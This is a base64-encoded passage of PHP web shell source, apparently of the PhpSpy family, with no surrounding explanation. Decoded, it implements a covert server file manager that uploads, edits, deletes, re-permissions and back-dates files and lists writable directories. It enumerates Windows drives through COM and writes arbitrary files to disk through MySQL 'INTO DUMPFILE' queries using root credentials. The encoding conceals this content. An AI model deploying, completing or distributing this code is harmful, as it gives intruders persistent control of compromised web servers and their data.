GVybScpKTsNCgltYWtlaGlkZSgnbmV3cGVybScpOw0KCW1ha2VoaWRlKCdwZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOw0KCW1ha2VoaWRlKCdzbmFtZScpOw0KCW1ha2VoaWRlKCd0b2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7DQoJbWFrZWhpZGUoJ29sZG5hbWUnKTsNCgltYWtlaGlkZSgnbmV3ZmlsZW5hbWUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlb3Bmb3JtJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nKTsNCgltYWtlaGlkZSgnb3BmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicpOw0KCWZvcm1mb290KCk7DQoNCgkkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOw0KCSEkZnJlZSAmJiAkZnJlZSA9IDA7DQoJJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRub3dwYXRoKTsNCgkhJGFsbCAmJiAkYWxsID0gMDsNCgkkdXNlZCA9ICRhbGwtJGZyZWU7DQoJJHVzZWRfcGVyY2VudCA9IEByb3VuZCgxMDAvKCRhbGwvJGZyZWUpLDIpOw0KCXAoJzxmb250IGNvbG9yPXllbGxvdyBmYWNlPXRhaG9tYSBzaXplPTI+PEI+RmlsZSBNYW5hZ2VyPC9iPiA8L2ZvbnQ+IEN1cnJlbnQgZGlzayBmcmVlIDxmb250IGNvbG9yPXJlZD4nLnNpemVjb3VudCgkZnJlZSkuJzwvZm9udD4gb2YgPGZvbnQgY29sb3I9cmVkPicuc2l6ZWNvdW50KCRhbGwpLic8L2ZvbnQ+ICg8Zm9udCBjb2xvcj1yZWQ+Jy4kdXNlZF9wZXJjZW50Lic8L2ZvbnQ+JSk8L2ZvbnQ+Jyk7DQoNCj8+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPg0KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4NCiAgPHRyPg0KICAgIDx0ZCBub3dyYXA+Q3VycmVudCBEaXJlY3RvcnkgKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+DQoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZm9ybT4NCjwvdGFibGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjcmVhdGVkaXIoKXsNCgl2YXIgbmV3ZGlybmFtZTsNCgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsNCglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsNCgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoJdmFyIG5ld3Blcm07DQoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOw0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOw0KCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7DQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsNCgl2YXIgdG9maWxlOw0KCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsNCglpZiAoIXRvZmlsZSkgcmV0dXJuOw0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOw0KCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7DQoJdmFyIG5ld2ZpbGVuYW1lOw0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsNCglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47DQoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7DQoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOw0KCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7DQoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsNCgkJcmV0dXJuOw0KCX0NCgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCWlmICh0aGVmaWxlKXsNCgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoJfQ0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpew0KCXZhciBmaWxlbmFtZTsNCglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOw0KCWlmICghZmlsZW5hbWUpIHJldHVybjsNCglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7DQp9DQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpew0KCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOw0KCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsNCglpZiAodmlld193cml0YWJsZSkgew0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsNCgl9DQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2dvZGlyJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCiAgPD9waHANCgl0YmhlYWQoKTsNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iIiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PicpOw0KCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7DQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyk7Ij5WaWV3IEFsbDwvYT4nKTsNCgl9IGVsc2Ugew0KCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsNCgl9DQoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPkNyZWF0ZSBEaXJlY3Rvcnk8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVmaWxlKFwnJy4kbm93cGF0aC4nXCcpOyI+Q3JlYXRlIEZpbGU8L2E+Jyk7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJG9iaiA9IG5ldyBDT00oJ3NjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Jyk7DQoJCWlmICgkb2JqICYmIGlzX29iamVjdCgkb2JqKSkgew0KCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsNCgkJCWZvcmVhY2goJG9iai0+RHJpdmVzIGFzICRkcml2ZSkgew0KCQkJCWlmICgkZHJpdmUtPkRyaXZlVHlwZSA9PSAyKSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPC90ZD48L3RyPjwvZm9ybT4nKTsNCg0KCXAoJzx0ciBjbGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGVuYW1lPC90ZD48dGQgd2lkdGg9IjE2JSI+TGFzdCBtb2RpZmllZDwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0iMjAlIj5DaG1vZCAvIFBlcm1zPC90ZD48dGQgd2lkdGg9IjIyJSI+QWN0aW9uPC90ZD48L3RyPicpOw0KDQoJLy8gR2V0IHBhdGgNCgkkZGlyZGF0YT1hcnJheSgpOw0KCSRmaWxlZGF0YT1hcnJheSgpOw0KDQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJCSRkaXJkYXRhID0gR2V0TGlzdCgkbm93cGF0aCk7DQoJfSBlbHNlIHsNCgkJLy8gT3BlbiBkaXINCgkJJGRpcnM9QG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsNCgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsNCgkJCWlmKEBpc19kaXIoJGZpbGVwYXRoKSl7DQoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCQkkZGlyZGJbJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZGlybGluayddPSRub3dwYXRoOw0KCQkJCSRkaXJkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7DQoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRhdGFbXT0kZGlyZGI7DQoJCQl9IGVsc2Ugew0KCQkJCSRmaWxlZGJbJ2ZpbGVuYW1lJ109JGZpbGU7DQoJCQkJJGZpbGVkYlsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGZpbGVwYXRoKSk7DQoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCQkkZmlsZWRiWydmaWxlY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZGlybGluayddPSRub3dwYXRoOw0KCQkJCSRmaWxlZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRhdGFbXT0kZmlsZWRiOw0KCQkJfQ0KCQl9Ly8gd2hpbGUNCgkJdW5zZXQoJGRpcmRiKTsNCgkJdW5zZXQoJGZpbGVkYik7DQoJCUBjbG9zZWRpcigkZGlycyk7DQoJfQ0KCUBzb3J0KCRkaXJkYXRhKTsNCglAc29ydCgkZmlsZWRhdGEpOw0KCSRkaXJfaSA9ICcwJzsNCglmb3JlYWNoKCRkaXJkYXRhIGFzICRrZXkgPT4gJGRpcmRiKXsNCgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7DQoJCQkkdGhpc2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnQXJlIHlvdSBzdXJlIHdpbGwgZGVsZXRlICcuJGRpcmRiWydmaWxlbmFtZSddLic/IFxcblxcbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUgZGVsZXRlIGFsbCB0aGUgZmlsZXMuXCcpIj5EZWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGRpcl9pKys7DQoJCX0gZWxzZSB7DQoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsNCgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsNCgkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iV2luZ2RpbmdzIDMiIHNpemU9ND49PC9mb250PjwvdGQ+PHRkIG5vd3JhcCBjb2xzcGFuPSI1Ij48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy5nZXRVcFBhdGgoJG5vd3BhdGgpLidcJyk7Ij5QYXJlbnQgRGlyZWN0b3J5PC9hPjwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXAoJzx0ciBiZ2NvbG9yPSJncmVlbiIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsNCglwKCc8Zm9ybSBpZD0iZmlsZWxpc3QiIG5hbWU9ImZpbGVsaXN0IiBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij4nKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCd0aGVmaWxlJyk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCSRmaWxlX2kgPSAnMCc7DQoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsNCgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsNCgkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZmlsZV9pKys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsYXNzPSJmb3V0MSI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOw0KCXAoJzwvZm9ybT48L3RhYmxlPicpOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0KCWlmKCRkb2luZz09Im15c3FsdXBsb2FkIil7DQoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOw0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRzYXZlcGF0aCkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJaWYoISRmaWxlbmFtZSkgew0KCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmcD1AZm9wZW4oJGZpbGVuYW1lLCdyJyk7DQoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkkY29udGVudHMgPSBiaW4yaGV4KCRjb250ZW50cyk7DQoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOw0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgMHh7JGNvbnRlbnRzfSBGUk9NIG15c3FsLnVzZXIgSU5UTyBEVU1QRklMRSAnJHNhdmVwYXRoJzsiKTsNCgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7DQoJaWYoIWRvaW5nKSByZXR1cm47DQoJJCgnZG9pbmcnKS52YWx1ZT1kb2luZzsNCgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJ1c2VyLnZhbHVlPSQoJ2RiaW5mbycpLmRidXNlci52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuY2hhcnNldC52YWx1ZT0kKCdkYmluZm8nKS5jaGFyc2V0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8P3BocA0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIEluZm9ybWF0aW9uJywnbmFtZSc9PidkYmluZm8nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8cD4nKTsNCglwKCdEQkhvc3Q6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoJcCgnOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoJcCgnREJVc2VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KCXAoJ0RCUGFzczonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCglwKCdEQk5hbWU6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RibmFtZScsJ3NpemUnPT4xNSwndmFsdWUnPT4k